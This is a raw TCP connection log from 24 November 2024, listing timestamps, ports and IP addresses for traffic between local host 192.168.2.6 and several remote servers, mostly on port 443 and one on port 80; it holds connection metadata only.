Nov 24, 2024 04:20:38.096471071 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:38.096672058 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:38.100996971 CET	49816	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.101015091 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:38.101269007 CET	49817	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.101281881 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:38.215997934 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.216203928 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.216217995 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.216233015 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.216329098 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.265671968 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:38.265801907 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:38.266119003 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:38.272191048 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:38.272219896 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:38.272233963 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:38.775878906 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:38.775933027 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:38.776165009 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:38.798671007 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.798758030 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.798865080 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:38.802862883 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.802984953 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.803034067 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:38.811382055 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.811448097 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.811495066 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:38.819734097 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.819852114 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.820313931 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:38.820874929 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:38.820900917 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:38.828133106 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:38.973566055 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:39.563832045 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.568701029 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:39.568767071 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.569320917 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:39.569334984 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.814218998 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.815201998 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.822650909 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.830437899 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:39.830471039 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.830775976 CET	49817	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:39.830807924 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.831022024 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:39.831029892 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.831191063 CET	49817	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:39.831198931 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.831455946 CET	49816	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:39.831485033 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:39.831810951 CET	49816	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:39.831815958 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.055510044 CET	443	49815	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.055731058 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.055893898 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.055968046 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.095834017 CET	49815	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.095869064 CET	443	49815	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.096179962 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.096209049 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.096225977 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.096234083 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.096575022 CET	49815	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.096580982 CET	443	49815	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.227267027 CET	49824	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.227339983 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.227544069 CET	49824	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.292125940 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.292203903 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.292309999 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.292501926 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.292562962 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.293534994 CET	49817	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.304141998 CET	49824	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.304169893 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.369000912 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.369076967 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.369215012 CET	49816	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.441035032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:40.441159010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:40.494565964 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.494565964 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.494605064 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.494621038 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.495690107 CET	49817	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.495718956 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.495734930 CET	49817	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.495740891 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.514484882 CET	49816	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.514511108 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.514523983 CET	49816	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.514529943 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.562530041 CET	49826	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.562587023 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.562674999 CET	49826	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.563241959 CET	49827	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.563282967 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.564899921 CET	49828	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.564937115 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.564948082 CET	49827	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.565002918 CET	49828	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.565387011 CET	49826	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.565418959 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.565867901 CET	49827	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.565881968 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.570453882 CET	49828	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.570482969 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.625706911 CET	443	49815	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.625766993 CET	443	49815	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.625849962 CET	49815	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.626018047 CET	49815	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.626040936 CET	443	49815	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.626055002 CET	49815	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.626060963 CET	443	49815	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.633200884 CET	49829	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.633236885 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.633404016 CET	49829	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.633666992 CET	49829	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:40.633683920 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:40.689260006 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:40.689599991 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:40.689625978 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:40.691729069 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:40.691808939 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:40.693341017 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:40.693430901 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:40.693703890 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:40.693712950 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:40.811043024 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:40.913604975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:40.913897991 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:40.920584917 CET	49836	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:40.920629025 CET	443	49836	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:40.920707941 CET	49836	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:40.921097994 CET	49836	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:40.921116114 CET	443	49836	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:41.033101082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:41.033299923 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:41.033371925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:41.033771038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:41.033802032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:41.085089922 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:41.085089922 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:41.085118055 CET	443	49803	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:41.085195065 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:41.153199911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:41.153225899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:41.153409004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:41.153418064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:41.196460009 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:41.196564913 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:41.196655989 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:41.275693893 CET	49822	443	192.168.2.6	94.245.104.56
Nov 24, 2024 04:20:41.275715113 CET	443	49822	94.245.104.56	192.168.2.6
Nov 24, 2024 04:20:42.204029083 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.204648972 CET	49824	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.204691887 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.205090046 CET	49824	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.205096960 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.289699078 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.292733908 CET	49827	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.292807102 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.293374062 CET	49827	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.293390036 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.350158930 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.350586891 CET	49826	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.350616932 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.351106882 CET	49826	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.351115942 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.356956005 CET	49836	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:42.358186007 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.358222008 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:42.358254910 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:42.358310938 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:42.361726999 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:42.361758947 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:42.362807035 CET	49828	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.362819910 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.363521099 CET	49828	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.363528013 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.399349928 CET	443	49836	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:42.548451900 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.549078941 CET	49829	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.549113035 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.549398899 CET	49829	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.549406052 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.647805929 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.647995949 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.648068905 CET	49824	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.648159981 CET	49824	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.648190022 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.648207903 CET	49824	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.648219109 CET	443	49824	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.650557041 CET	49857	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.650595903 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.650681973 CET	49857	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.650803089 CET	49857	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.650813103 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.724754095 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.724826097 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.724884987 CET	49827	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.725171089 CET	49827	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.725214005 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.725260019 CET	49827	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.725277901 CET	443	49827	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.729495049 CET	49858	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.729561090 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.729633093 CET	49858	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.730005980 CET	49858	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.730026960 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.792758942 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.792834997 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.792891979 CET	49826	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.803947926 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.804023981 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.804069996 CET	49828	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.821680069 CET	49826	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.821707010 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.821723938 CET	49826	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.821732044 CET	443	49826	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.827188969 CET	49828	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.827219009 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.827235937 CET	49828	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.827244043 CET	443	49828	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.850106001 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:42.850157022 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:42.850213051 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:42.850398064 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:42.850408077 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:42.851630926 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.851664066 CET	443	49860	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.851725101 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.852988005 CET	49861	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.853023052 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.853085995 CET	49861	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.854310989 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:42.854341030 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:42.854424000 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:42.854813099 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:42.854830027 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:42.856307983 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.856328964 CET	443	49860	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.856954098 CET	49861	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:42.856969118 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:42.869267941 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:42.869307041 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:42.869373083 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:42.869875908 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:42.869894028 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:42.896718025 CET	443	49836	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:42.896780968 CET	49836	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:42.970767021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:42.970819950 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:43.002384901 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:43.002461910 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:43.002543926 CET	49829	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:43.048062086 CET	49829	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:43.048079014 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:43.048099041 CET	49829	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:43.048103094 CET	443	49829	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:43.098965883 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:43.099009037 CET	443	49864	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:43.099085093 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:43.100809097 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:43.100819111 CET	443	49864	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:43.145231962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:43.264727116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:43.519994020 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:43.520051956 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:43.520170927 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:43.520504951 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:43.520524025 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:43.607942104 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:43.608042955 CET	443	49866	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:43.608182907 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:43.608449936 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:43.608500957 CET	443	49866	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:43.688653946 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:43.688704967 CET	443	49867	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:43.688827038 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:43.689153910 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:43.689168930 CET	443	49867	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:43.702711105 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:43.702723026 CET	443	49868	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:43.702852964 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:43.703047037 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:43.703057051 CET	443	49868	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.093715906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:44.093807936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:44.182378054 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.182872057 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.182944059 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.183983088 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.184053898 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.185606956 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.185688019 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.185816050 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.185833931 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.186981916 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.188472033 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.188482046 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.189240932 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.189465046 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.189485073 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.189579964 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.189711094 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.190916061 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.191009045 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.191180944 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.191194057 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.193025112 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.193109989 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.196315050 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.196510077 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.196508884 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.239331961 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.264874935 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.264888048 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.311496019 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.311564922 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.357906103 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:44.366010904 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:44.366055012 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:44.366720915 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:44.366740942 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:44.366795063 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:44.366820097 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:44.366864920 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:44.367038012 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:44.367949009 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:44.369620085 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:44.369739056 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:44.369836092 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:44.369848967 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:44.420069933 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:44.465810061 CET	49863	443	192.168.2.6	162.159.61.3
